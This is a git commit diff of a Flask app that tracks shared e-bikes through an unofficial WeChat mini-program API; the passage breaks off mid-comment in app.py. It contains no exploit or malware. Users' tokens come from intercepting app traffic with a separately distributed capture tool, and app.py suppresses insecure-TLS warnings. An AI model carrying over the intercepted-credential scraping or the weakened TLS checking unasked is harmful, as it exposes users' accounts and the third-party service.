commit b77a3098738577697cfdf9fd5a84a1575212ab1d Author: deploy Date: Thu Oct 29 15:20:39 2026 +0800 初版:小白超人(从线上实例导出) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3c83f93 --- /dev/null +++ b/.gitignore @@ -0,0 +1,14 @@ +__pycache__/ +*.pyc +users.db +bikes.db +map_cache.db +backups/ +downloads/ +secret_key.txt +admin_config.txt +smtp_config.txt +server_config.json +.reasonix/ +*.zip +*.log diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..e8f3e9d --- /dev/null +++ b/Dockerfile @@ -0,0 +1,24 @@ +FROM python:3.11-slim + +ENV TZ=Asia/Shanghai \ + DEBIAN_FRONTEND=noninteractive \ + PYTHONUNBUFFERED=1 \ + PIP_INDEX_URL=https://pypi.tuna.tsinghua.edu.cn/simple \ + PIP_TRUSTED_HOST=pypi.tuna.tsinghua.edu.cn \ + XBCR_PORT=8080 + +WORKDIR /app + +RUN sed -i 's|deb.debian.org|mirrors.aliyun.com|g; s|security.debian.org|mirrors.aliyun.com|g' /etc/apt/sources.list 2>/dev/null || true \ + && sed -i 's|deb.debian.org|mirrors.aliyun.com|g' /etc/apt/sources.list.d/debian.sources 2>/dev/null || true + +RUN apt-get update && apt-get install -y --no-install-recommends tzdata \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY . . + +EXPOSE 8080 +CMD ["python", "app.py"] diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..13e9196 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 NekoYume517 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..1927192 --- /dev/null +++ b/README.md @@ -0,0 +1,153 @@ +# 小白超人电动车地图 + +基于 Flask 的共享电动车位置追踪与租赁管理系统。通过微信小程序接口采集车辆位置,提供地图展示、历史轨迹、数据分析与租赁到期提醒功能。 + +## 功能特性 + +- **车辆位置采集**:自适应频率调用微信小程序接口抓取车辆数据(白天 5-10 分钟/次,夜间 30-60 分钟/次) +- **地图展示**:按车辆状态(可用 / 使用中 / 已锁定 / 已预约 / 低电量)分色标记 +- **地图共享快照**:同一车辆类型的全局地图请求共用 60 秒快照,SQLite 租约合并跨线程/进程的并发刷新;失败也在同一窗口退避,不把过期成功结果当新数据返回。页面按快照到期时间自动刷新,返回前台时立即补刷,更新时间来自当前地图快照。 +- **历史轨迹**:记录每辆车的位置历史,支持按车牌查询轨迹 +- **数据分析**:状态分布、24 小时趋势、活跃车辆 Top10、热力图 +- **租赁管理**:订单到期倒计时,邮件提醒(10/5/3/2/1/0 分钟多级通知) +- **自动清理**:3 天前历史数据自动归档,定期 VACUUM 释放空间 + +## 技术栈 + +- **后端**:Flask + SQLite(原生 `sqlite3`) +- **架构**:Blueprint 分模块(auth / map_api / rental / admin) +- **数据源**:微信小程序接口(需用户授权 `token_id` + `wx_signature`) +- **采集调度**:threading 后台线程 + 自适应间隔 +- **通知**:SMTP 邮件 + 内部计时器 +- **前端**:Jinja2 模板 + Leaflet 地图 + ECharts 图表 + +## 项目结构 + +``` +xbniu_map/ +├── app.py # 应用入口 + 数据采集调度 + 分析 API +├── db.py # SQLite 连接与表初始化 +├── wechat.py # 微信小程序接口封装 +├── email_utils.py # 邮件发送 +├── timer.py # 订单到期计时器管理 +├── generate_icons.py # 地图标记图标生成 +├── routes/ +│ ├── auth.py # 用户注册 / 登录 / 微信授权 +│ ├── map_api.py # 地图数据接口 +│ ├── rental.py # 租赁 / 提醒 +│ └── admin.py # 后台管理 +├── templates/ +│ ├── map.html # 主地图页 +│ ├── analysis.html # 数据分析页 +│ ├── admin.html # 后台管理页 +│ └── ring_progress.html # 状态环形图组件 +├── static/ # 地图标记图标(分色) +└── requirements.txt +``` + +## 配置说明 + +启动前需准备以下敏感文件(不上传到 Git,已在 `.gitignore` 排除): + +| 文件 | 用途 | 示例 | +|------|------|------| +| `token_config.txt` | 全局默认微信 token | `token_id=1234567` | +| `key.pem` / `private.key` | HTTPS 私钥 | `/BEGIN PRIVATE KEY/` | +| `cert.pem` / `certificate.crt` / `ca_bundle.crt` | HTTPS 证书链 | `/BEGIN CERTIFICATE/` | + +用户级授权凭据(`token_id` + `wx_signature`)存储在 `users.db` 的 `users` 表中,通过登录后从微信小程序抓包获取。 + +## 快速开始 + +```bash +# 1. 安装依赖 +pip install -r requirements.txt + +# 2. 准备敏感文件(见上方配置说明) + +# 3. 启动服务 +python app.py +# 默认监听 127.0.0.1:98,对外由 nginx 反代提供 HTTPS +``` + +## 打包分发 + +```bash +# 重新生成 1.zip(仅源码、模板、必要静态资源、测试和脚本) +pwsh -File scripts/pack_zip.ps1 +``` + +打包排除证书/密钥/token/数据库/备份/缓存,以及安装包、截图和运行日志;打包脚本会自动 +校验关键文件是否在位(campus/alerts/subscribe/export 等新模块缺失会直接报错)。 + +## 抓包工具下载 + +「填写凭证」等弹窗里的下载按钮指向 `/download/capture-tool.exe`,对应磁盘文件 +`downloads/xbniu-capture-tool.exe`(约 160MB,不在版本库及源码包 1.zip 中,部署时另行提供)。 + +- 公开访问,无需登录:用户注册前就要先拿到工具,否则形成死循环。 +- 路由带 `conditional=True` 并显式返回 `Accept-Ranges: bytes`,支持断点续传。 +- 文件缺失时返回 `404 {"rtn_code": 404, "message": "安装包暂未上传"}`。 +- 微信/QQ/支付宝/钉钉/微博/抖音等内置浏览器会拦截 exe 下载,前端改为弹出 + 「复制链接到外部浏览器」提示。 + +**nginx 注意**:大文件经 `proxy_pass` 下载时,若带宽较低可能被默认的 +`proxy_read_timeout 60s` 中断,建议在对应 `location` 上放宽: + +```nginx +location /download/ { + proxy_pass http://127.0.0.1:98; + proxy_read_timeout 600s; + proxy_max_temp_file_size 0; # 不缓冲大文件,直接透传 +} +``` + +## 数据库表结构 + +| 表 | 用途 | +|----|------| +| `users` | 用户账号、微信授权凭据 | +| `sessions` | 登录会话 token | +| `reminders` | 租赁提醒订阅 | +| `rentals` | 租车记录 + 多级通知状态(notified_10/5/3/2/1/0)| +| `bike_history` | 车辆位置历史(含状态、电量)| +| `snapshots` | 整体快照(总数、状态分布)| + +## 核心机制 + +### 自适应采集 + +```python +def get_adaptive_interval(): + # 夜间(23:00-07:00):1800-3600s(30-60 分钟) + # 白天:300-600s(5-10 分钟) +``` + +后台线程循环执行 `snapshot_bike_positions()`,调用 `/project/map?type=3` 拉取全部车辆,写入 `bike_history`。 + +### 数据清理 + +每 23 小时执行一次:删除 3 天前的 `bike_history` 与过期 `sessions`,并执行 `VACUUM` 压缩 SQLite 文件。 + +### 订单到期提醒 + +`timer.py` 在启动时恢复未到期的计时器(`restore_active_timers`),并在到期前 10/5/3/2/1/0 分钟触发邮件通知。每条 `rentals` 记录的 `notified_*` 字段标记对应级别是否已发送,避免重复通知。 + +## 主要接口 + +| 方法 | 路径 | 说明 | +|------|------|------| +| POST | `/api/collect_now` | 手动触发一次采集 | +| GET | `/api/bike_history?code=xxx` | 查询指定车辆历史轨迹 | +| GET | `/api/analysis/overview` | 状态分布 + 时段分布 + Top10 | +| GET | `/api/analysis/heatmap?code=xxx` | 热力图数据 | + +具体路由详见 `routes/*.py`。 + +## 注意事项 + +- `token_id` 与 `wx_signature` 来自微信小程序抓包,**修改后需重启服务或通过后台保存** +- `users.db` 包含用户授权信息与历史轨迹,**不可公开** +- HTTPS 证书文件(`*.pem` `*.crt` `*.key`)若损坏会导致小程序接口无法访问 +- 服务监听端口默认 98(非特权端口) + diff --git a/alerts.py b/alerts.py new file mode 100644 index 0000000..d4e347b --- /dev/null +++ b/alerts.py @@ -0,0 +1,308 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""凭据到期/采集失败告警:全部走邮件(复用 email_utils)。 + +三级告警:还有 1 天过期 / 还有 1 小时过期 / 已过期(仅限填了 AccessToken、 +可解析 JWT 有效期的凭据;只填 token_id 的凭据无法判断有效期,不打扰)。 + +收件人: +- 管理端配置的告警邮箱(server_config.json 的 alert_emails,可多个) +- 用户级告警:用户自填 alert_email(未填回退账号邮箱),管理员同时收一份 + +去重:credential_alerts 表按 (target, level) 唯一,target 含凭据过期时间戳, +用户重新登录拿到新 JWT 后自动重新武装告警。 +""" +import datetime as dt +import html +import json +import threading +import time +from pathlib import Path + +from db import get_db +from email_utils import send_email + +CONFIG_PATH = Path(__file__).parent / "server_config.json" +CHECK_INTERVAL = 15 * 60 # 15 分钟检查一次 + +# level -> (阈值秒, 短语) 判断时从最严重往回找 +_LEVELS = ( + ("expired", 0, "已过期"), + ("1hour", 3600, "还有 1 小时过期"), + ("1day", 86400, "还有 1 天过期"), +) + + +# ========== 告警邮箱配置(管理端) ========== + +def get_alert_emails(): + try: + data = json.loads(CONFIG_PATH.read_text("utf-8")) + emails = data.get("alert_emails") or [] + return [e.strip() for e in emails if isinstance(e, str) and e.strip()] + except (OSError, ValueError, TypeError): + return [] + + +def set_alert_emails(emails) -> int: + if isinstance(emails, str): + emails = emails.replace(";", ",").replace("\n", ",").split(",") + cleaned = [e.strip() for e in (emails or []) if isinstance(e, str) and e.strip()] + cfg = {} + try: + if CONFIG_PATH.exists(): + cfg = json.loads(CONFIG_PATH.read_text("utf-8")) + except (OSError, ValueError, TypeError): + cfg = {} + cfg["alert_emails"] = cleaned + CONFIG_PATH.write_text(json.dumps(cfg, ensure_ascii=False, indent=2), encoding="utf-8") + return len(cleaned) + + +# ========== 去重记录 ========== +# 免打扰策略(用户要求):同一凭据在整个生命周期内【只发一封】邮件—— +# 不管命中的是 1天/1小时/已过期 哪一级。credential_alerts.target 含 +# 凭据标识(用户 id 或 全局+过期时间戳),用户更新凭据后 target 变化 +# 才会重新武装。查询时【不看 level】,避免 1day→1hour→expired 连发三封。 +def _now_bj_str(): + return dt.datetime.now(dt.timezone(dt.timedelta(hours=8))).strftime("%Y-%m-%d") + + +def _sent_already(conn, target, level=None): + """该凭据是否已发过提醒邮件(level 仅保留兼容签名,不再参与过滤)。""" + try: + return conn.execute( + "SELECT 1 FROM credential_alerts WHERE target = ? LIMIT 1", + (target,)).fetchone() is not None + except Exception: + return False + + +def _mark_sent(conn, target, level): + conn.execute( + "INSERT OR IGNORE INTO credential_alerts (target, level, sent_on) VALUES (?, ?, ?)", + (target, level, _now_bj_str())) + + +# ========== 邮件渲染 ========== + +def _render_alert_html(title, lead, details): + rows = "".join( + '{}' + '{}'.format( + html.escape(str(k)), html.escape(str(v))) + for k, v in details) + return f""" + +
+
+
+
+
小白超人 · 系统告警
+

{html.escape(title)}

+

{html.escape(lead)}

+ + {rows} +
+
+
+

这是系统自动发送的告警通知。

+
+""" + + +def _send_alert(recipients, level, owner_desc, expiry): + if not recipients: + return False + level_text = dict((l[0], l[2]) for l in _LEVELS).get(level, level) + expire_time = expiry.get("expire_time") or "--" + title = f"{owner_desc} 微信凭据{level_text}" + if level == "expired" and not expiry.get("parseable", True): + # 未填 AccessToken 的凭据:通过上游探测发现已失效,无法给出过期时刻 + lead = ("凭据已失效(探测到上游已拒绝该 Token),该账号的开锁/还车/地图数据" + "已不可用,请立即在小程序重新登录并更新凭据。" + "提示:打开一次微信小程序就会使网页凭据失效。") + elif level == "expired": + lead = "凭据已过期,该账号的上游接口(地图/开锁/还车/订单检测)已全部失效,请立即在小程序重新登录并更新凭据。" + elif level == "1hour": + lead = "凭据将在约 1 小时后过期,请尽快在小程序重新登录更新,避免用车高峰失效。" + else: + lead = "凭据将在约 1 天后过期,请安排在小程序重新登录更新。" + details = [("凭据归属", owner_desc), ("当前级别", level_text), + ("有效期至", expire_time), ("提醒时间", _now_bj_str())] + plain = f"{title}\n\n{lead}\n\n" + "\n".join(f"{k}:{v}" for k, v in details) + html_body = _render_alert_html(title, lead, details) + ok_all = True + for to in sorted(recipients): + subject = f"【小白超人·告警】{title}" + if not send_email(to, subject, plain, html_body): + ok_all = False + return ok_all + + +# ========== 检查逻辑 ========== + +def _pick_level(remaining): + for name, threshold, _ in _LEVELS: + if remaining <= threshold: + return name + return None + + +def check_user_credentials(): + """遍历所有配置了 token_id 的用户,按有效期发三级告警。返回发送条数。""" + from wechat import parse_access_token_expiry + sent = 0 + conn = get_db() + try: + users = conn.execute( + "SELECT id, email, token_id, access_token, alert_email FROM users " + "WHERE token_id IS NOT NULL AND token_id != ''").fetchall() + admin_emails = set(get_alert_emails()) + now_ts = int(time.time()) + for u in users: + if not (u["access_token"] or "").strip(): + continue # 没填 AccessToken 走 check_user_credentials_alive 的失效探测 + expiry = parse_access_token_expiry(u["access_token"]) + if not expiry.get("parseable") or expiry.get("expire_at") is None: + continue + remaining = int(expiry["expire_at"]) - now_ts + level = _pick_level(remaining) + if not level: + continue + target = f"user:{u['id']}:{expiry['expire_at']}" + if _sent_already(conn, target, level): + continue + recipients = set(admin_emails) + recv = (u["alert_email"] or "").strip() or (u["email"] or "").strip() + if recv: + recipients.add(recv) + if _send_alert(recipients, level, f"用户 {u['email']}", expiry): + _mark_sent(conn, target, level) + sent += 1 + finally: + conn.commit() + conn.close() + return sent + + +# 只填了 token_id 的用户:无法解析有效期(三级预警做不了), +# 但可以用一次极轻量的上游探测判断凭据「当前是否还活着」, +# 死了就发"已失效"邮件。credential_alerts 按 target 去重保证只发一次, +# 用户重新配置凭据后 target 变化 → 自动重新武装。 +def check_user_credentials_alive(): + """探测未填 AccessToken 用户的凭据是否已失效(102001)。返回发送条数。""" + from wechat import request_with_user_auth + sent = 0 + conn = get_db() + try: + users = conn.execute( + "SELECT id, email, token_id, alert_email FROM users " + "WHERE token_id IS NOT NULL AND token_id != '' " + " AND (access_token IS NULL OR access_token = '')").fetchall() + admin_emails = set(get_alert_emails()) + for u in users: + target = f"user-alive:{u['id']}" + if _sent_already(conn, target, "expired"): + continue + try: + # /user/info 是最轻的已登录接口;_silent 避免日志刷屏 + res = request_with_user_auth(u["id"], "GET", "/user/info", _silent=True) + except Exception: + continue # 网络异常不判死刑,等下一轮 + if not isinstance(res, dict) or res.get("rtn_code") != 102001: + continue # 正常或其他错误(非凭据失效)都不打扰 + recipients = set(admin_emails) + recv = (u["alert_email"] or "").strip() or (u["email"] or "").strip() + if recv: + recipients.add(recv) + if _send_alert(recipients, "expired", f"用户 {u['email']}", + {"parseable": False, "expire_time": "未知(未填 AccessToken)"}): + _mark_sent(conn, target, "expired") + sent += 1 + finally: + conn.commit() + conn.close() + return sent + + +def check_global_credential(): + """全局默认凭据(token_config.txt)的到期告警。""" + from wechat import get_token_config, parse_access_token_expiry + try: + cfg = get_token_config() + except Exception: + return 0 + if not cfg.get("token_id"): + return 0 + expiry = parse_access_token_expiry(cfg.get("access_token")) + if not expiry.get("parseable") or expiry.get("expire_at") is None: + return 0 + remaining = int(expiry["expire_at"]) - int(time.time()) + level = _pick_level(remaining) + if not level: + return 0 + target = f"global:{expiry['expire_at']}" + conn = get_db() + try: + if _sent_already(conn, target, level): + return 0 + recipients = set(get_alert_emails()) + if not recipients: + return 0 + if _send_alert(recipients, level, "全局默认凭据", expiry): + _mark_sent(conn, target, level) + conn.commit() + return 1 + finally: + conn.commit() + conn.close() + return 0 + + +def notify_collect_failure(streak, last_error): + """采集连续失败(凭据多半已失效)时给管理员告警邮箱发一封。""" + recipients = get_alert_emails() + if not recipients: + return False + expiry = {"parseable": True, "expire_time": None} + title = f"车辆数据采集已连续 {streak} 次失败" + lead = "采集任务连续失败,全局默认凭据很可能已失效,地图数据将停止更新,请检查并更新全局 Token。" + details = [("连续失败", f"{streak} 次"), + ("最近错误", (last_error or "-")[:200]), + ("提醒时间", _now_bj_str())] + plain = f"{title}\n\n{lead}\n\n" + "\n".join(f"{k}:{v}" for k, v in details) + html_body = _render_alert_html(title, lead, details) + ok_all = True + for to in recipients: + if not send_email(to, f"【小白超人·告警】{title}", plain, html_body): + ok_all = False + return ok_all + + +# ========== 后台调度 ========== + +def run_alert_check_once(): + try: + check_user_credentials() + except Exception as e: + print(f"[凭据告警] 用户级检查失败: {e}") + try: + # 只填 token_id 的用户:无法预判有效期,改为探测"当前是否已失效" + check_user_credentials_alive() + except Exception as e: + print(f"[凭据告警] 失效探测失败: {e}") + try: + check_global_credential() + except Exception as e: + print(f"[凭据告警] 全局级检查失败: {e}") + + +def start_alert_scheduler(): + def run(): + while True: + run_alert_check_once() + time.sleep(CHECK_INTERVAL) + t = threading.Thread(target=run, daemon=True, name="credential-alert") + t.start() + print("[凭据告警] 定时检查已启动(每 15 分钟)") diff --git a/app.py b/app.py new file mode 100644 index 0000000..a67e428 --- /dev/null +++ b/app.py @@ -0,0 +1,693 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +小白超人电动车地图 - Flask 后端 (精简入口) +""" +import sys +import io + +# Windows 控制台中文输出兜底。注意:必须幂等且跳过"已经被包过/非真实终端"的流, +# 否则在 pytest 捕获(stdout 被换成临时文件对象,无 .buffer 或重包装会关闭 +# pytest 的捕获文件)场景下,测试进程结束时 readouterr() 会报 +# "I/O operation on closed file"。 +def _force_utf8_stdio(): + for name in ("stdout", "stderr"): + stream = getattr(sys, name) + # 已是 TextIOWrapper 且编码已是 utf-8 → 不重复包装 + if isinstance(stream, io.TextIOWrapper) and stream.encoding.lower().replace("-", "") == "utf8": + continue + buf = getattr(stream, "buffer", None) + if buf is None: + continue # pytest 的捕获对象等非二进制缓冲流,保持原样 + try: + setattr(sys, name, io.TextIOWrapper(buf, encoding="utf-8", line_buffering=True)) + except (ValueError, OSError): + pass # 缓冲已分离/关闭(如 pytest teardown 阶段),保持原样 + + +_force_utf8_stdio() + +import os +import json +import time +import random +import threading +import urllib3 +from pathlib import Path +from flask import Flask, jsonify, request, render_template, session + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +from db import get_db, init_db, get_user_auth, get_user_display_name, backup_database +from wechat import request_api +from timer import restore_active_timers, start_all_order_checkers, _active_timers + +# ========== Flask 应用 ========== +app = Flask(__name__, static_folder="static") + + +def _load_or_create_secret_key() -> str: + """secret_key 不再写死在源码:优先环境变量,否则随机生成一次并持久化到 + secret_key.txt(已 gitignore)。key 变化只会使管理员后台 session 失效, + 普通用户登录态存数据库(sessions 表),不受影响。""" + env_key = os.environ.get("XBNIU_SECRET_KEY", "").strip() + if env_key: + return env_key + key_path = Path(__file__).parent / "secret_key.txt" + try: + if key_path.exists(): + old = key_path.read_text("utf-8").strip() + if old: + return old + import secrets as _secrets + new_key = _secrets.token_hex(32) + key_path.write_text(new_key, encoding="utf-8") + return new_key + except Exception as e: + print(f"[secret_key] 读写失败,本次使用临时随机 key: {e}") + import secrets as _secrets + return _secrets.token_hex(32) + + +app.secret_key = _load_or_create_secret_key() +# 管理后台 cookie 仅经 HTTPS 传输(对外由 nginx 提供 TLS); +# 注意:若直接用 http:// 访问本服务,管理员登录 session 将不生效 +app.config["SESSION_COOKIE_SECURE"] = True +app.config["SESSION_COOKIE_SAMESITE"] = "Lax" + +# 注册蓝图 +from routes.auth import bp as auth_bp, _client_ip, get_current_user +from routes.map_api import bp as map_bp +from routes.rental import bp as rental_bp +from routes.admin import bp as admin_bp +from routes.share import bp as share_bp +from routes.download import bp as download_bp +from routes.export import bp as export_bp +from routes.subscribe import bp as subscribe_bp +from rate_limit import hit as rl_hit +app.register_blueprint(auth_bp) +app.register_blueprint(map_bp) +app.register_blueprint(rental_bp) +app.register_blueprint(admin_bp) +app.register_blueprint(share_bp) +app.register_blueprint(download_bp) +app.register_blueprint(export_bp) +app.register_blueprint(subscribe_bp) + + +# ========== 未认证数据接口限速 ========== +# 这些接口无需登录即可读取车辆数据/代理上游查询,按 IP 限速。 +# 计数用 _client_ip:仅当请求来自回环(nginx 同机反代)时才信任其注入的 +# X-Real-IP/X-Forwarded-For 取真实客户端 IP,直连来源一律用 remote_addr, +# 客户端无法伪造。 +PUBLIC_DATA_PREFIXES = ( + "/api/map", "/api/bicycle", "/api/find_bike", "/api/bike_history", + "/api/analysis/", "/api/history/", +) + +# 放宽 3 倍:原 15 次/分钟 -> 45 次/分钟。 +# 页面加载(地图/车辆/寻车)与分析页拉取接口较多,原先 15/min 极易触发 429。 +PUBLIC_DATA_MAX_PER_MIN = 45 + +# 已登录用户查询车辆的接口:完全豁免限速(用户建议:开锁用车、查询车辆不限速)。 +# 开锁/用车/还车(/api/order/*、/api/rental/*)本就不在 PUBLIC_DATA_PREFIXES 内, +# 从未被本限流覆盖,此处一并列出以固化意图。 +LOGGED_IN_EXEMPT_PREFIXES = ( + "/api/map", "/api/bicycle", "/api/find_bike", "/api/bike_history", +) + + +@app.before_request +def _public_data_rate_limit(): + path = request.path + if not path.startswith(PUBLIC_DATA_PREFIXES): + return None + # 已登录用户查询车辆接口豁免限速:避免正常用车时因页面/分析拉取被打 429 + if path.startswith(LOGGED_IN_EXEMPT_PREFIXES) and get_current_user() is not None: + return None + ip = _client_ip() + if not rl_hit(("public_data", ip), PUBLIC_DATA_MAX_PER_MIN, 60): + return jsonify({"rtn_code": 429, + "message": "请求过于频繁,请稍后再试(每分钟最多 45 次)"}), 429 + return None + + +# ========== 数据采集任务 ========== +_snapshot_lock = threading.Lock() +_last_snapshot = 0 +_snapshot_fail_streak = 0 # 连续采集失败次数(凭据失效时会静默断采,这里打日志告警) +_collect_fail_alerted = False # 采集失败告警邮件已发标记(恢复成功后重置) + + +def get_adaptive_interval(): + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + hour = dt.datetime.now(tz).hour + if hour >= 23 or hour < 7: + return random.randint(1800, 3600) + else: + return random.randint(300, 600) + + +def snapshot_bike_positions(): + global _last_snapshot, _snapshot_fail_streak, _collect_fail_alerted + with _snapshot_lock: + if time.time() - _last_snapshot < 60: + return + _last_snapshot = time.time() + print(f"[数据采集] 开始采集电动车位置... (间隔: {get_adaptive_interval()}s)") + result = request_api("GET", "/project/map", params={"type": "3"}) + saved_count = 0 + if result.get("rtn_code") == 0 and result.get("data"): + if _snapshot_fail_streak >= 3: + print(f"[数据采集] 采集恢复成功(此前连续失败 {_snapshot_fail_streak} 次)") + _snapshot_fail_streak = 0 + _collect_fail_alerted = False + bikes = result["data"].get("bicycleStation", []) + if bikes: + conn = get_db() + cursor = conn.cursor() + for bike in bikes: + try: + cursor.execute(""" + INSERT INTO bike_history + (bike_code, latitude, longitude, status, state, electric, recorded_at) + VALUES (?, ?, ?, ?, ?, ?, datetime('now', '+8 hours')) + """, ( + bike.get("code", ""), float(bike.get("latitude", 0)), + float(bike.get("longitude", 0)), bike.get("status", 1), + bike.get("state", 1), + float(bike.get("electric_quantity") or bike.get("electricQuantity") or 100), + )) + saved_count += 1 + except Exception as ex: + print(f"[数据采集] 插入失败: {ex}") + conn.commit() + conn.close() + else: + _snapshot_fail_streak += 1 + if _snapshot_fail_streak >= 3: + print(f"[数据采集] 警告: 已连续 {_snapshot_fail_streak} 次采集失败," + f"请检查全局凭据是否失效。最近错误: {result.get('message') or result.get('error')}") + # 告警:给管理端配置的告警邮箱发一封(每次失败周期只发一次) + if not _collect_fail_alerted: + try: + import alerts + if alerts.notify_collect_failure(_snapshot_fail_streak, + result.get("message") or result.get("error")): + _collect_fail_alerted = True + except Exception as alert_exc: + print(f"[数据采集] 告警邮件发送失败: {alert_exc}") + print(f"[数据采集] 完成,采集了 {saved_count} 辆电动车") + + +# ========== 数据保留窗口(全库统一:bike_history 保留天数) ========== +# 与 cleanup_old_data(days=HISTORY_RETENTION_DAYS)、export.HISTORY_DAYS、 +# 前端轨迹天数选择器对齐。改这里即可全库生效。 +HISTORY_RETENTION_DAYS = 30 + + +def cleanup_old_data(days=HISTORY_RETENTION_DAYS): + from pathlib import Path as P + DB_PATH = P(__file__).parent / "users.db" + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT COUNT(*) FROM bike_history WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + bike_old = cursor.fetchone()[0] + cursor.execute("SELECT COUNT(*) FROM sessions WHERE expires_at < datetime('now', '+8 hours')") + session_old = cursor.fetchone()[0] + total_to_delete = bike_old + session_old + if total_to_delete == 0: + conn.close() + return {"freed_mb": 0} + db_size_before = os.path.getsize(str(DB_PATH)) + cursor.execute("DELETE FROM bike_history WHERE recorded_at < datetime('now', '+8 hours', ?)", (f'-{days} days',)) + cursor.execute("DELETE FROM sessions WHERE expires_at < datetime('now', '+8 hours')") + conn.commit() + conn.close() + try: + vconn = get_db() + vconn.execute("VACUUM") + vconn.close() + except Exception: + pass + db_size_after = os.path.getsize(str(DB_PATH)) + freed_mb = (db_size_before - db_size_after) / 1024 / 1024 + print(f"[数据清理] 完成: bike_history={bike_old}, sessions={session_old}, 释放 {freed_mb:.2f} MB") + return {"freed_mb": round(freed_mb, 2)} + + +def start_snapshot_scheduler(): + last_cleanup = [0] + def run(): + while True: + interval = get_adaptive_interval() + time.sleep(interval) + snapshot_bike_positions() + now = time.time() + if now - last_cleanup[0] >= 23 * 3600: + last_cleanup[0] = now + try: + cleanup_old_data(days=HISTORY_RETENTION_DAYS) + except Exception as e: + print(f"[数据清理] 失败: {e}") + try: + backup_database() + except Exception as e: + print(f"[数据备份] 失败: {e}") + t = threading.Thread(target=run, daemon=True) + t.start() + print("[数据采集] 车辆位置快照采集已启动") + + +# ========== 数据分析 API ========== + +@app.route("/api/collect_now", methods=["POST"]) +def api_collect_now(): + from routes.auth import get_current_user + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + snapshot_bike_positions() + return jsonify({"rtn_code": 0, "message": "采集完成"}) + + +@app.route("/api/bike_history") +def api_bike_history(): + code = request.args.get("code", "") + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code"}) + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT latitude, longitude, status, state, electric, recorded_at + FROM bike_history WHERE bike_code = ? ORDER BY recorded_at DESC LIMIT 500 + """, (code,)) + rows = cursor.fetchall() + conn.close() + return jsonify({"rtn_code": 0, "data": [dict(r) for r in rows]}) + + +@app.route("/api/analysis/overview") +def api_analysis_overview(): + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + + conn = get_db() + cursor = conn.cursor() + + # 状态分布 + cursor.execute(""" + SELECT + CASE + WHEN state = 10 OR electric < 20 THEN 'low' + WHEN state = 4 THEN 'locked' + WHEN state = 2 THEN 'reserved' + WHEN state = 1 AND status = 1 THEN 'used' + ELSE 'available' + END as bike_state, + COUNT(DISTINCT bike_code) as count + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-1 hour') + GROUP BY bike_state + """) + status_dist = {row["bike_state"]: row["count"] for row in cursor.fetchall()} + + # 24小时分布 + cursor.execute(""" + SELECT + CAST(strftime('%H', recorded_at) AS INTEGER) as hour, + CASE + WHEN state = 10 OR electric < 20 THEN 'low' + WHEN state = 4 THEN 'locked' + WHEN state = 2 THEN 'reserved' + WHEN state = 1 AND status = 1 THEN 'used' + ELSE 'available' + END as bike_state, + COUNT(DISTINCT bike_code) as cnt + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-24 hours') + GROUP BY hour, bike_state + """) + hourly_raw = {} + for row in cursor.fetchall(): + h = row["hour"] + if h not in hourly_raw: + hourly_raw[h] = {} + hourly_raw[h][row["bike_state"]] = row["cnt"] + + # 快照次数 + cursor.execute(""" + SELECT COUNT(DISTINCT strftime('%Y-%m-%d %H:%M', recorded_at)) + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-24 hours') + """) + snaps = max(cursor.fetchone()[0], 1) + + for h in hourly_raw: + for state in hourly_raw[h]: + hourly_raw[h][state] = round(hourly_raw[h][state] / snaps, 1) + + # 活跃车辆Top10 + cursor.execute(""" + SELECT bike_code, COUNT(*) as cnt + FROM bike_history + WHERE state = 1 AND status = 1 + AND recorded_at >= datetime('now', '+8 hours', '-24 hours') + GROUP BY bike_code ORDER BY cnt DESC LIMIT 10 + """) + top_inuse = [dict(r) for r in cursor.fetchall()] + + conn.close() + + return jsonify({ + "rtn_code": 0, + "data": { + "status_distribution": status_dist, + "hourly_distribution": hourly_raw, + "top_inuse_bikes": top_inuse, + "snapshot_count": snaps, + } + }) + + +@app.route("/api/analysis/heatmap") +def api_analysis_heatmap(): + code = request.args.get("code", "") + conn = get_db() + cursor = conn.cursor() + if code: + cursor.execute(""" + SELECT latitude, longitude, electric, recorded_at + FROM bike_history WHERE bike_code = ? ORDER BY recorded_at ASC LIMIT 1000 + """, (code,)) + else: + cursor.execute(""" + SELECT latitude, longitude, electric, recorded_at + FROM bike_history ORDER BY recorded_at DESC LIMIT 2000 + """) + rows = cursor.fetchall() + conn.close() + return jsonify({"rtn_code": 0, "data": [dict(r) for r in rows]}) + + +# ========== 历史数据分析 API(analysis.html 前端契约) ========== +# 